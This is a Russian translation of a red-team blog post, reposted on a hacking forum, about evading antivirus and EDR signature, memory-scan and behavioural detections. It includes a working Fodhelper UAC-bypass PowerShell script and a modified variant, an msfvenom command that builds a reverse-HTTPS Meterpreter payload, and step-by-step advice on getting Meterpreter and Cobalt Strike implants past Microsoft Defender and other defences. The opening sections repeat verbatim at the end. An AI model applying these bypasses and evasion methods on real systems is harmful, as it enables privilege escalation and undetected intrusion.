В этой статье объясняются основные различия между обнаружениями на основе сигнатур и на основе поведения. Кроме того, показаны примеры с соответствующими обходами обнаружения.
После публикации моего пакера все больше и больше людей спрашивали меня о том, почему, например, MSF-или CobaltStrike-(CS)-Пайлоды все еще обнаруживаются. Ну, во-первых, простой ответ заключается в том, что есть:
- Обнаружение на основе сигнатур, которое было обойдено
- Обнаружение на основе поведения, которое было запущено и убило процесс.
Существует несколько методов обнаружения, которые упаковщик может обойти, и есть другие, которые технически невозможно обойти. Написание статьи на эту тему — по крайней мере, для меня самый простой способ ответить на этот вопрос, так как в будущем я могу просто отправить одну ссылку для подобных вопросов.
Использование моего приватного упаковщика приведет к такому antiScan.meр езультату для MSF-Packed Payloads:
Но это не означает, что полезная нагрузка не будет обнаружена этими AV-поставщиками при выполнении во время выполнения. Почему? Продолжай читать.
Обнаружения на основе сигнатур
Обнаружения на основе сигнатур очень просты. Самые первые антивирусные решения имели базу данных сигнатур с хэшами файлов, и они просто сравнивали хэш любого исполняемого файла на диске с хэшем известных вредоносных исполняемых программ. Например, эта база данных содержала хэш SHA1/MD5 бинарного файла релиза для Mimikatz. Изменить хэш исполняемого файла так же просто, как манипулировать одним байтом в нем, поэтому это обнаружение не очень надежно, и, по крайней мере, я надеюсь, что оно больше не будет широко использоваться в 2022 году.
Из-за того, что это ненадежно, поставщики в качестве альтернативы перешли к обнаружению определенных сигнатур байтовых шаблонов. Итак, чтобы остаться с примером Mimikatz, определенные шаблоны байтов/шестнадцатеричные значения помечены следующим образом:
Здесь имеет смысл не только помечать один шаблон для каждого известного вредоносного двоичного файла/полезной нагрузки, но и использовать несколько общих шаблонов. Mimikatz всегда является хорошим примером обнаружения на основе сигнатур, поскольку обычно у поставщиков есть десятки шаблонов для двоичных обнаружений Mimikatz. Поступая таким образом, они гарантируют, что будут обнаружены также слегка измененные версии.
С помощью правил яры можно создать еще более продвинутые обнаружения. Эти правила могут либо сканировать файлы, либо содержимое памяти, а также допускать гораздо более сложные условия и комбинации различных шаблонов. Пример правила Mimikatz яры выглядит так:
Эластичное правило яры для мимикадза
Таким образом, в этом случае, если три из упомянутых строк будут найдены либо в файле, либо в памяти, это правило сработает, и программное обеспечение AV/EDR может выполнить такое действие, как предупреждение или завершение процесса. Подобные обнаружения можно, например, обойти с помощью техники, описанной в моем сообщении в блоге Создание пользовательского двоичного файла Mimikatz (https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/)
Внутреннее устройство упаковщика
Важно понимать, как в основном работает упаковщик, чтобы иметь представление о том, что он может делать, а что нет. В конце концов, речь идет о программном обеспечении, которое джоставляет полезную нагрузку в другую программу, чтобы избежать для нее обнаружения на основе подписи. Таким образом, если полезная нагрузка, такая как мимиказ, содержит определенные строки, эти строки больше не будут видны в результирующем двоичном файле. Процесс упаковки может быть выполнен либо с некоторым кодированием/обфускацией, либо с шифрованием. Я лично предпочитаю шифровать полезную нагрузку, так как это приведет к лучшей случайности и, следовательно, к наименьшему количеству обнаружений на основе подписи.
Эта закодированная или зашифрованная полезная нагрузка должна быть декодирована/расшифрована в результирующей программе-загрузчике, чтобы полезная нагрузка в открытом виде могла быть выполнена из памяти.
В зависимости от полезной нагрузки упаковщик также может избавиться от большего количества обнаружений в текущем или удаленном процессе:
- Если ваш упаковщик исправляет/обходит AMSI, вы можете безопасно выполнять различные известные вредоносные скрипты (PS1, VBA, JS и т. д.) или сборки C# из памяти.
- Чтобы избавиться от обнаружений на основе ETW, упаковщик также может исправлять/обходить ETW с помощью различных опубликованных методов.
- Обнаружения на основе перехвата для Win32 API можно обойти с помощью анхукинга или прямого/косвенного использования системного вызова.
- Обнаружения на основе энтропии обнаружат множество упаковщиков, поскольку шифрование полезной нагрузки приведет к очень высокой энтропии из-за случайности. Это можно обойти, например, добавив тысячи слов в результирующий двоичный файл, поскольку это снова снижает энтропию.
Мой приватный пакер также использует все эти упомянутые вещи.
Но даже если применить все эти приемы, потенциальных "проблем" остается больше:
- Сканирование памяти
- Поведенческие обнаружения
- Охотники за угрозами / Синии команда
В общем, можно также обойти сканирование памяти с помощью упаковщика, но это очень ограничено, как вы увидите позже.
Сканирование памяти и общие методы обхода
Поскольку обнаружение на основе сигнатур можно легко обойти с помощью метода Пакер, все больше и больше поставщиков AV/EDR, как правило, также проводят анализ памяти с помощью сканирования. Эти сканирования обычно не выполняются все время для всех процессов, так как это требует слишком много ресурсов, но может быть вызвано определенными условиями.
Сканирование памяти, например, обычно появляется в следующих ситуациях:
- Создается новый процесс, например, запускающий исполняемый файл
- Поведение процесса запускает сканирование памяти
Первую просто обойти. Даже упаковщик может, например, просто спать определенное время, прежде чем декодировать/дешифровать реальную полезную нагрузку. В этом случае сканирование памяти будет выполнено, но ничего не будет найдено, так как полезная нагрузка все еще зашифрована. Существуют способы обнаружения обхода сканирования памяти на основе спящего режима Win32, например, продемонстрированные здесь (https://github.com/ZeroMemoryEx/SleepKiller). Поэтому в качестве альтернативы использованию Sleep также можете выполнять псевдокод в течение определенного периода времени или выполнять вычисления. Существует множество альтернатив использованию Sleep.
Но в целом существуют разные подходы к обходу сканирования памяти:
- Изменение/модификация исходного кода вашей полезной нагрузки, чтобы избежать обнаружения на основе подписи
- Изменение поведения вашей полезной нагрузки, чтобы сканирование памяти никогда не срабатывало.
- Шифрование памяти
Я лично предпочитаю первый вариант, это однократное усилие для каждого программного обеспечения, и пока новая кодовая база не будет обнародована, она также не должна быть обнаружена в будущем.
Обход сканирования памяти на основе поведения сложнее в зависимости от того, что делает ваша полезная нагрузка. Просто представьте, что поведение мимикадза (например, открытие дескриптора LSASS с помощью OpenProcess) запускает сканирование — в этот момент нет возможности скрыть мимикадз из памяти, поскольку для выполнения своей работы он должен быть незашифрованным. Таким образом, шифрование памяти не будет вариантом для мимикадза. И не поймите меня неправильно, я бы все равно не рекомендовал использовать мимикадз для дампа LSASS в 2022 году, как упоминалось здесь. Это просто хороший пример, чтобы понять это.
Для хорошо известных C2-фреймворков, таких как Кобаль, наиболее распространенным вариантом является шифрование памяти. Но если у вас нет доступа к исходному коду, в любом случае невозможно изменить его, чтобы избежать обнаружения памяти. C2-Frameworks в целом являются хорошими кандидатами для этой техники, так как большую часть времени они спят. И если программа ничего не делает, содержимое ее памяти может быть зашифровано в этот период времени без каких-либо проблем.
Обнаружения на основе поведения — некоторые примеры и способы обхода
Но какое поведение может вызвать действие AV/EDR или сканирование памяти во время выполнения? Это может быть в принципе все. Запись данных в память, загрузка определенных библиотек в определенном порядке и/или в определенный период времени, создание записей в реестре, выполнение первоначальных HTTP-запросов или любые другие действия.
Я приведу здесь несколько примеров с соответствующими методами обхода для Защитника.
По моему личному опыту, наименее распространенное действие, которое AV/EDR делает после обнаружения определенного поведения, — это мгновенное уничтожение Процесса. Почему это? Что ж, поставщики AV/EDR не хотят получать слишком много ложноположительных результатов. Поскольку ложноположительные результаты с действием по уничтожению процесса могут привести к сбоям в производственной среде, что очень плохо. Таким образом, они должны быть почти на 100% уверены, что поведение определенно является вредоносным ПО, чтобы убить соответствующий процесс. Это также является причиной того, что многие поставщики впоследствии объединяют обнаружение поведения со сканированием памяти, чтобы убедиться, что они обнаружили что-то вредоносное.
Пример обхода UAC Fodhelper
Одним из хороших примеров обнаружения на основе поведения, которое приводит к действию AV, является обход UAC Fodhelper с помощью Защитника Windows. Этот действительно хорошо известен, но его также очень легко использовать, так как он просто создает запись в реестре и вызывает ее fodhelper.exeпосле:
<#
.SYNOPSIS
This script can bypass User Access Control (UAC) via fodhelper.exe
It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts
an elevated command prompt.
.NOTES
Function : FodhelperUACBypass
File Name : FodhelperUACBypass.ps1
Author : netbiosX. - pentestlab.blog
.LINKS
https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692
https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/
.EXAMPLE
Load "cmd /c start C:\Windows\System32\cmd.exe" (it's default):
FodhelperUACBypass
Load specific application:
FodhelperUACBypass -Program "cmd.exe"
FodhelperUACBypass -Program "cmd.exe /c powershell.exe"
#>
function FodhelperUACBypass(){
Param (
[String]$Program = "cmd /c start C:\Windows\System32\cmd.exe" #default
)
#Create Registry Structure
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $Program -Force
#Start fodhelper.exe
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}
Этот вырезанный код был взят отсюда - (https://gist.github.com/netbiosX/a114f8822eb20b115e33db55deee6692)
Выполнение этого кода с включенным Защитником приведет к следующему обнаружению:
Это оповещение не уничтожает ни выполняющийся, ни только что порожденный процесс, но все же может привести к обнаружению в любом столкновении. Само обнаружение нельзя обойти с помощью обхода AMSI, и установка исправлений ETW также не помогает. Потому что это конкретное поведение вызывает это предупреждение.
Я провел небольшой анализ методом проб и ошибок того, что именно здесь помечено, и обнаружил, что Защитнику не нравятся никакие .exe в записи HKCU:\Software\Classes\ms-settings\Shell\Open\command(Default) как а также каталоги *C:\windows\system32* и *C:\windows\syswow64*.
Таким образом, поведение, которое вызывает оповещение, заключается в создании записи реестра в упомянутом каталоге с одной из строк.
К счастью для нас, нам не нужно указывать .exe для запуска двоичного файла, а также оба каталога не обязательно нужны для эксплуатации. Таким образом, в качестве альтернативы мы могли бы просто скопировать, например, C2-стейджер в любой доступный для записи каталог и выполнить его с обходом UAC без вызова расширения.
Но в 2022 году многие сотрудники OffSec осознают тот факт, что запуск любых неподписанных исполняемых файлов в системе с установленным AV/EDR может быть не очень хорошей идеей. Поэтому в качестве альтернативы мы могли бы также запустить любой подписанный доверенный исполняемый файл и поместить соответствующую DLL-библиотеку боковой загрузки в тот же каталог. Третий вариант: мы можем скопировать rundll32.exe в наш каталог, доступный для записи, и запустить его оттуда:
function FodhelperUACBypass(){
Param (
[String]$run = "C:\temp\peng C:\temp\calc.dll,NimMain" #NimMain only for Nim Dlls ;-)
)
# Copy C:\windows\system32\rundll32.exe to C:\temp\Peng.exe
copy C:\windows\system32\rundll32.exe C:\temp\Peng.exe
#Create Registry Structure
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $run -Force
#Start fodhelper.exe
Start-Process "C:\Windows\System32\fodhelper.exe"
#Cleanup
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
}
Обнаружения на основе поведения Meterpreter
Поскольку многие люди также спрашивали меня о том, почему их MSF-Payloads все еще помечаются, я решил также показать некоторую (ничего нового, все уже где-то опубликовано) справочную информацию об этом.
Для начала: не используйте поэтапные полезные нагрузки, они всегда будут обнаружены, по крайней мере, Защитником, и я не планирую изменять исходный код метерпретера в этом посте.
Так что в нашем случае мы будем генерировать бесэтапный реверс шелл-код HTTPS для выполнения. Это можно сделать, например, с помощью следующей команды:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=(IP Address) LPORT=(Your Port) -f raw > Shellcode.bin
Я не буду описывать здесь скрытый способ выполнения этого шелл-кода, так как хочу показать поведенческое обнаружение, но в целом вам понадобится следующее:
- Зашифруйте шелл-код и расшифруйте его во время выполнения, чтобы избежать подписей на диске, или, в качестве альтернативы, загрузите его с удаленного веб-сервера во время выполнения.
- Используйте прямые или косвенные системные вызовы для выполнения, в противном случае шелл-код будет помечен перед выполнением.
В этом случае нет необходимости в исправлении AMSI/ETW для запуска метерпретера.
Но даже если вы обходили обнаружение на основе сигнатур на диске и обнаружение шелл-кода с помощью системных вызовов, вы должны увидеть один новый входящий сеанс метерпретера:
Но это всего лишь означает, что наша первоначальная полезная нагрузка была успешно выполнена. Спустя секунду процесс завершается, и появляется следующее обнаружение:
И опять же, это обнаружение на основе поведения, которое запускается дополнительными DLL-файлами, загружаемыми через простые API-интерфейсы Win32 и рефлексивную технику внедрения DLL. В этом случае внедрение stdapi-DLL вызвало предупреждение.
В командной строке msfconsole вы можете передать следующую команду, чтобы отключить загрузку DLL stdapi :
set autoloadstdapi false
После этого вы должны, получить входящий сеанс метерпретера:
Однако отключение загрузки stdapi приведет к тому, что у вас почти не будет команд/модулей в сеансе метерпретера, и будут доступны только "основные команды".
Подождав несколько минут, вы можете загрузить stdapi вручную с помощью следующей команды, и обнаружения по-прежнему не должно быть:
О чем это обнаружение на основе поведения? Я не могу сказать на 100% наверняка, но, скорее всего, это комбинация:
Недавно созданный процесс
- Временной интервал x для нового процесса, пока не будут вызваны определенные API-интерфейсы Windows для отражающей загрузки DLL.
- Сканирование памяти для проверки вредоносного содержимого
- Обнаружение метерпретера в памяти и действие по уничтожению процесса
Примечание. Это только ОДИН возможный способ обойти обнаружение на основе поведения Defenders Meterpreter. И я предполагаю, что команда Microsoft Defender добавит дополнительные проверки после публикации этого сообщения, как это произошло с некоторыми другими моими видео или сообщениями. Так что в какой-то момент вам придется искать альтернативы самостоятельно. Моя основная цель — не объяснить, как заставить Meterpreter работать, а дать вам представление о том, что происходит.
Как уже упоминалось в этом посте выше, одним из основных способов обхода сканирования памяти является модификация исходного кода, чтобы избежать сигнатур в памяти. Поскольку это обнаружение на основе поведения, как и многие другие обнаружения C2-Payload, проверяется сканированием памяти, это еще один вариант изменения исходного кода. Один автоматизированный подход к запутыванию исходного кода метерпретера был опубликован в этом сообщении в блоге. Мы пошли по этому пути — с дополнительными ручными модификациями — и смогли избежать этого обнаружения с включенной автоматической загрузкой stdapi. Если вы хотите это сделать, будьте готовы провести несколько дней с базой кода Meterpreter.
Третий способ — шифрование памяти — не так просто выполнить для метерпретера, поскольку исходный код HTTP/HTTPS не работает, как многие другие C2-Frameworks, с точки зрения ожидания в течение периода времени x перед запросом команд. Это просто отбрасывание множества запросов HTTP(S) с небольшими задержками между ними. Таким образом, шифрование памяти нарушит этот процесс. Если вы хотите пойти по этому пути, вам необходимо самостоятельно интегрировать пользовательскую функцию Sleep с шифрованием памяти в исходный код.
Cobalt Strike Detections и мое личное путешествие с ними
Cobalt Strike, скорее всего, является наиболее проверенной и наиболее глубоко проанализированной C2-Framework. Скорее всего, это связано с тем, что в последние годы он использовался многими различными злоумышленниками в дикой природе. Не изменять настройки по умолчанию нельзя будет использовать в большинстве сред, так как это будет мгновенно обнаружено.
Даже использование специального упаковщика/загрузчика с системными вызовами для выполнения шелл-кода во многих средах все равно приведет к сбою. Итак, я объясню, по крайней мере, самые минимальные требования и модификации, которые вам нужно будет выполнить как оператору при использовании этой платформы. Я никоим образом не являюсь профессиональным пользователем Кобальта, у меня всего один год опыта работы с ним - чтение всей документации и опробование различных инструментов/настроек. Поэтому я могу упустить некоторые вещи, которыми пользуются более опытные Операторы.
Минимальные требования C2-сервера/инфраструктуры:
- Отключите постановку в профиле "Malleable " — если она включена, ваш имплант будет сожжен почти мгновенно, так как в Интернете есть множество автоматизированных сканеров, которые загружают вторую стадию для анализа и обмена ею.
- Вы должны использовать настраиваемый Malleable C2-профиль с множеством различных важных настроек уклонения, чтобы избавиться хотя бы от некоторых обнаружений. У меня был хороший опыт работы с профилями, созданными SourcePoint.
- Необходимо использовать редиректор перед C2-Server. Этот перенаправитель должен отбрасывать/блокировать известные диапазоны IP-адресов анализа песочницы и разрешать и перенаправлять только те запросы, которые соответствуют профилю Malleable C2. Хорошими примерами инструментов для автоматизации этого процесса являются RedWarden или RedGuard. Неиспользование этой техники, скорее всего, приведет к ожогу имплантата. С его помощью также можно избежать снятия отпечатков пальцев и обнаружения сервера Кобальта после первого подключения, как упоминалось, например, в этом сообщении в блоге MDSec.
Минимальные требования к имплантату:
- Используйте шифрование/обфускацию и расшифровку/деобфускацию во время выполнения для упаковки шелл-кода. Если вы этого не сделаете, ваш загрузчик будет помечен подписью на диске или в памяти (в зависимости от того, как вы его загружаете)
- Используйте прямые или косвенные системные вызовы для выполнения CS-шеллкода или для загрузки артефакта из памяти. Невыполнение этого требования приведет к мгновенному обнаружению в большинстве сред, поскольку шеллкод всегда имеет одни и те же IoC и будет очень легко обнаружен перехватчиками AV/EDR.
- Используйте ключи среды, чтобы обойти потенциальную песочницу или автоматический анализ облачной отправки EDR.
- Вы должны изменить шаблон маски для Sleep в Кобальте с помощью Arsenal Kit. Если этот параметр включен в гибком - C2-профиле, маячок будет шифровать как память кучи, так и память стека, чтобы скрыть себя от сканеров памяти после успешного выполнения. Но поскольку этот исходный код маски сна по умолчанию сам по себе также сильно нацелен на сигнатуры AV/EDR и, следовательно, также будет помечен сканерами памяти. Вы не должны использовать для этого какой-либо немодифицированный общедоступный код шифрования Github Sleep, так как он также будет помечен.
Все эти пункты (кроме модификаций маски Sleep) могут быть выполнены либо с помощью полностью пользовательского пакера/доадера, либо с помощью набора Arsenal Kit, который уже содержит множество шаблонного кода для начала. Если вы планируете использовать Arsenal Kit, вам необходимо ознакомиться с C/C++ и внести серьезные изменения в код шаблона, чтобы избавиться от обнаружений (это, по крайней мере, то, что мне сказали другие люди в сообществе, которые пошли по этому пути). Лично я всегда использовал вывод исходного шеллкода и свой собственный пользовательский упаковщик/загрузчик для реализации упомянутых выше вещей.
Модификации Sleep маски также применяются к выводу необработанного шеллкода, поэтому вы даже можете изменить его в наборе Arsenal Kit при использовании собственного пользовательского загрузчика. Я запустил CS против Защитника с упомянутыми модификациями, однако Защитник для конечной точки по-прежнему обнаруживал многие варианты поведения в моих тестах.
Примечание: Даже если вы выполнили все указанные требования, ваш имплантт все равно может быть обнаружен в зрелых средах. В зависимости от того, какой EDR используется в вашей целевой среде, этого недостаточно. Остались еще некоторые проблемы:
- Не думайте, что вы выиграли, если у вас есть входящее соединение маячка. Во многих средах мне удавалось запустить маячок, но после выполнения одной команды/модуля имплантат мгновенно обнаруживался и уничтожался. Как я уже сказал, кобальт, скорее всего, является наиболее одобренным фреймворком, взгляните, например, на эти правила yara (https://github.com/elastic/protecti...in/yara/rules/Windows_Trojan_CobaltStrike.yar), и вы увидите, что поставщики реализовали правила обнаружения почти для каждой команды/модуля. Эти обнаружения, основанные на поведении, заставили меня лично использовать кобальт только для инициации обратного соединения Socks и ничего больше, чтобы избежать локальных системных IoC и делать все по сети через socks. Таким образом, во многих моих проектах кобальт более или менее стал самостоятельным программным обеспечением для обратного прокси-сервера socks5.
- В вашей целевой среде может быть синяя команда и/или охотники за угрозами. Даже простые IoC могут привести к ручному анализу/проверке. В этом случае вам нужно будет знать о многих более глубоких методах уклонения. Для автоматического анализа AV/EDR может подойти простое шифрование памяти, но в этом случае вам нужно будет избегать многих других IoC, таких как разрешения памяти RWX/RX, вы не можете использовать Win32 Sleep, так как это легко обнаружить, и многие другие вещи, которые нужно упомянуть.. Взгляните на этот пост и связанные ссылки/инструменты, чтобы получить представление о теме.
- В некоторых средах мой маячок/процесс даже обнаруживался до обратного вызова. Я не могу сказать, о чем были эти обнаружения, и я понятия не имел, как их обойти, если честно.
Некоторые более опытные пользователи кобальта намекнули мне на почти безграничные возможности определяемых пользователем отражающих загрузчиков (UDRL), таких как TitanLdr. Настроить поведение Cobalt Strike с помощью параметров гибкого профиля в зрелых средах недостаточно. Например, Core всегда будет использовать Win32 API (с потенциальными обнаружениями) вместо прямых системных вызовов. Пока кто-нибудь не интегрирует опцию Syscall с Update. Но с помощью UDRL вы также можете изменить все поведение Cobalt Strike Core, используя хуки импорта таблицы адресов. Например, вы можете перехватить VirtualProtect ядра, чтобы он стал NtProtectVirtualMemory.
Таким образом, вместо использования Custom Packer/Loader или Arsenal Kit с модификациями это может быть самый незаметный способ придерживаться UDRL из-за текущих ограничений самого CS-Core.
Лично для меня это был уже не вариант. Подключить IAT для изменения ядра программного обеспечения с закрытым исходным кодом только для обхода основанных на поведении обнаружений? В какой-то момент я решил хотя бы на данный момент не копаться все глубже и глубже во внутренностях Windows, просто чтобы запустить C2-соединение с этим фреймворком. После одного года использования всего нескольких сред без обнаружения и некоторых с обратным прокси-сервером Socks я решил использовать другие фреймворки. Раньше мне всегда было хорошо без CS, и в будущем все будет хорошо.
Действительно ли нужны все эти методы уклонения?
Я хотел бы включить фундаментальный вопрос в этот пост. Все это действительно нужно? Нужно ли использовать системные вызовы? Нужно ли использовать шифрование памяти? Нужно ли расцеплять все вещи? Нужно ли обходить AMSI или ETW? Стоит ли этот инструмент, известный как вредоносный, дополнительных усилий по уклонению?
Очень простой ответ на это, исходя из моих текущих знаний и точки зрения, - нет ! Почему нет? Что ж, я думаю, что индустрия информационной безопасности действительно подталкивала друг друга к новым и новым ограничениям на протяжении всех этих лет. Но все эти приемы уклонения как-то до сих пор просто используются для обхода сигнатур.
Если вы используете самогенерируемый шеллкод, можно снова придерживаться API Win32. WriteProcessMemory или CreateThread приведут к обнаружению входных аргументов и к анализу точки входа шеллкода. Но если у него нет известной вредоносной подписи, он будет работать нормально и не будет заблокирован.
Если вы используете внутренние инструменты или сильно модифицированный код с открытым исходным кодом, AMSI никогда вас не поймает, потому что он ищет известные сигнатуры.
Если вы используете сильно запутанную OpenSource C2-Framework или опять-таки самостоятельно разработанную среду — сканирование памяти вас не поймает. Конечно, вы не хотите дарить синей команде простой C2-стейджер из памяти, поэтому использование шифрования в этом случае все же имеет смысл.
Это, конечно, очень гипотетический мир. Большинство консалтинговых компаний в области ИТ-безопасности не тратят столько времени и денег на разработку и исследования, которые соответствовали бы этим условиям. У Threat-Actors также будет ограничение по бюджету. Поэтому большинство придерживается либо инструментов с открытым исходным кодом, либо коммерческого программного обеспечения, потому что это экономит время и деньги.
Но, с моей точки зрения, люди должны знать об этом факте, так как для многих инструментов тяжелые модификации являются разовыми усилиями. Пока вы не публикуете код. Если вы тратите несколько часов на модификации в течение многих лет каждую неделю, вам, возможно, больше не понадобится обходить AMSI. Если вы разработали собственный C2, вам не обязательно заботиться о некоторых методах уклонения.
Что вы думаете?
Заключение
С одной стороны, я хотел использовать эту статью, чтобы дать обзор того, что Пакер может технически обойти, и в какой момент Оператор должен действовать сам. Надеюсь, некоторые вещи должны быть ясны:
- Оператор должен знать, что делает его полезная нагрузка
- Оператор должен знать об индикаторах компрометации (IoC) для своих полезных нагрузок.
- Обнаружения на основе поведения могут быть обойдены только самим оператором с помощью модификации полезной нагрузки.
С другой стороны, я показал несколько примеров того, как обойти основанные на поведении обнаружения от Защитника для
- Обход UAC Fodhelper
- Метерпретера
- Кобальта
Что касается обнаружения Кобальта в других зрелых средах —, какой-то момент я перестал копать глубже, так как для меня это было слишком похоже на BlackBox. Я все еще в восторге от его будущего развития и буду следить за всеми этими изменениями. Кто знает, может быть, когда-нибудь я возьму его снова изучать.
Пост закончился фундаментальным вопросом о том, нужны ли вообще все эти вещи. Иногда вы не сможете обойти это, потому что программное обеспечение/инструмент имеет закрытый исходный код и известно как вредоносное. Я лично считаю, что это не так. Но это просто зависит от того, какую полезную нагрузку вы используете. При использовании пользовательских инструментов или обфускации многие методы уклонения вообще не нужны. Но поскольку пользовательские инструменты или серьезная модификация каждого инструмента требуют больших усилий, во многих случаях приходится принимать альтернативу все большему количеству методов уклонения. В какой-то момент вам просто нужно задаться вопросом, стоит ли дополнительных усилий по уклонению заставить работать известную вредоносную полезную нагрузку. Мне любопытно, к чему приведет это давление в ближайшие годы. Может быть, когда-нибудь наступит точка, когда люди предпочтут разовые усилия постоянной современной практике уклонения.
Линки для чтения
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://s3cur3th1ssh1t.github.io/Signature_vs_Behaviour/
После публикации моего пакера все больше и больше людей спрашивали меня о том, почему, например, MSF-или CobaltStrike-(CS)-Пайлоды все еще обнаруживаются. Ну, во-первых, простой ответ заключается в том, что есть:
- Обнаружение на основе сигнатур, которое было обойдено
- Обнаружение на основе поведения, которое было запущено и убило процесс.
Существует несколько методов обнаружения, которые упаковщик может обойти, и есть другие, которые технически невозможно обойти. Написание статьи на эту тему — по крайней мере, для меня самый простой способ ответить на этот вопрос, так как в будущем я могу просто отправить одну ссылку для подобных вопросов.
Использование моего приватного упаковщика приведет к такому antiScan.meр езультату для MSF-Packed Payloads:
Но это не означает, что полезная нагрузка не будет обнаружена этими AV-поставщиками при выполнении во время выполнения. Почему? Продолжай читать.
Обнаружения на основе сигнатур
Обнаружения на основе сигнатур очень просты. Самые первые антивирусные решения имели базу данных сигнатур с хэшами файлов, и они просто сравнивали хэш любого исполняемого файла на диске с хэшем известных вредоносных исполняемых программ. Например, эта база данных содержала хэш SHA1/MD5 бинарного файла релиза для Mimikatz. Изменить хэш исполняемого файла так же просто, как манипулировать одним байтом в нем, поэтому это обнаружение не очень надежно, и, по крайней мере, я надеюсь, что оно больше не будет широко использоваться в 2022 году.
Из-за того, что это ненадежно, поставщики в качестве альтернативы перешли к обнаружению определенных сигнатур байтовых шаблонов. Итак, чтобы остаться с примером Mimikatz, определенные шаблоны байтов/шестнадцатеричные значения помечены следующим образом:
Здесь имеет смысл не только помечать один шаблон для каждого известного вредоносного двоичного файла/полезной нагрузки, но и использовать несколько общих шаблонов. Mimikatz всегда является хорошим примером обнаружения на основе сигнатур, поскольку обычно у поставщиков есть десятки шаблонов для двоичных обнаружений Mimikatz. Поступая таким образом, они гарантируют, что будут обнаружены также слегка измененные версии.
С помощью правил яры можно создать еще более продвинутые обнаружения. Эти правила могут либо сканировать файлы, либо содержимое памяти, а также допускать гораздо более сложные условия и комбинации различных шаблонов. Пример правила Mimikatz яры выглядит так:
Эластичное правило яры для мимикадза
Таким образом, в этом случае, если три из упомянутых строк будут найдены либо в файле, либо в памяти, это правило сработает, и программное обеспечение AV/EDR может выполнить такое действие, как предупреждение или завершение процесса. Подобные обнаружения можно, например, обойти с помощью техники, описанной в моем сообщении в блоге Создание пользовательского двоичного файла Mimikatz (https://s3cur3th1ssh1t.github.io/Building-a-custom-Mimikatz-binary/)
Внутреннее устройство упаковщика
Важно понимать, как в основном работает упаковщик, чтобы иметь представление о том, что он может делать, а что нет. В конце концов, речь идет о программном обеспечении, которое джоставляет полезную нагрузку в другую программу, чтобы избежать для нее обнаружения на основе подписи. Таким образом, если полезная нагрузка, такая как мимиказ, содержит определенные строки, эти строки больше не будут видны в результирующем двоичном файле. Процесс упаковки может быть выполнен либо с некоторым кодированием/обфускацией, либо с шифрованием. Я лично предпочитаю шифровать полезную нагрузку, так как это приведет к лучшей случайности и, следовательно, к наименьшему количеству обнаружений на основе подписи.
Эта закодированная или зашифрованная полезная нагрузка должна быть декодирована/расшифрована в результирующей программе-загрузчике, чтобы полезная нагрузка в открытом виде могла быть выполнена из памяти.
В зависимости от полезной нагрузки упаковщик также может избавиться от большего количества обнаружений в текущем или удаленном процессе:
- Если ваш упаковщик исправляет/обходит AMSI, вы можете безопасно выполнять различные известные вредоносные скрипты (PS1, VBA, JS и т. д.) или сборки C# из памяти.
- Чтобы избавиться от обнаружений на основе ETW, упаковщик также может исправлять/обходить ETW с помощью различных опубликованных методов.
- Обнаружения на основе перехвата для Win32 API можно обойти с помощью анхукинга или прямого/косвенного использования системного вызова.
- Обнаружения на основе энтропии обнаружат множество упаковщиков, поскольку шифрование полезной нагрузки приведет к очень высокой энтропии из-за случайности. Это можно обойти, например, добавив тысячи слов в результирующий двоичный файл, поскольку это снова снижает энтропию.
Мой приватный пакер также использует все эти упомянутые вещи.
Но даже если применить все эти приемы, потенциальных "проблем" остается больше:
- Сканирование памяти
- Поведенческие обнаружения
- Охотники за угрозами / Синии команда
В общем, можно также обойти сканирование памяти с помощью упаковщика, но это очень ограничено, как вы увидите позже.
Сканирование памяти и общие методы обхода
Поскольку обнаружение на основе сигнатур можно легко обойти с помощью метода Пакер, все больше и больше поставщиков AV/EDR, как правило, также проводят анализ памяти с помощью сканирования. Эти сканирования обычно не выполняются все время для всех процессов, так как это требует слишком много ресурсов, но может быть вызвано определенными условиями.
Сканирование памяти, например, обычно появляется в следующих ситуациях:
- Создается новый процесс, например, запускающий исполняемый файл
- Поведение процесса запускает сканирование памяти
Первую просто обойти. Даже упаковщик может, например, просто спать определенное время, прежде чем декодировать/дешифровать реальную полезную нагрузку. В этом случае сканирование памяти будет выполнено, но ничего не будет найдено, так как полезная нагрузка все еще зашифрована. Существуют способы обнаружения обхода сканирования памяти на основе спящего режима Win32, например, продемонстрированные здесь (https://github.com/ZeroMemoryEx/SleepKiller). Поэтому в качестве альтернативы использованию Sleep также можете выполнять псевдокод в течение определенного периода времени или выполнять вычисления. Существует множество альтернатив использованию Sleep.
Но в целом существуют разные подходы к обходу сканирования памяти:
- Изменение/модификация исходного кода вашей полезной нагрузки, чтобы избежать обнаружения на основе подписи
- Изменение поведения вашей полезной нагрузки, чтобы сканирование памяти никогда не срабатывало.
- Шифрование памяти
Я лично предпочитаю первый вариант, это однократное усилие для каждого программного обеспечения, и пока новая кодовая база не будет обнародована, она также не должна быть обнаружена в будущем.
Обход сканирования памяти на основе поведения сложнее в зависимости от того, что делает ваша полезная нагрузка. Просто представьте, что поведение мимикадза (например, открытие дескриптора LSASS с помощью OpenProcess) запускает сканирование — в этот момент нет возможности скрыть мимикадз из памяти, поскольку для выполнения своей работы он должен быть незашифрованным. Таким образом, шифрование памяти не будет вариантом для мимикадза. И не поймите меня неправильно, я бы все равно не рекомендовал использовать мимикадз для дампа LSASS в 2022 году, как упоминалось здесь. Это просто хороший пример, чтобы понять это.
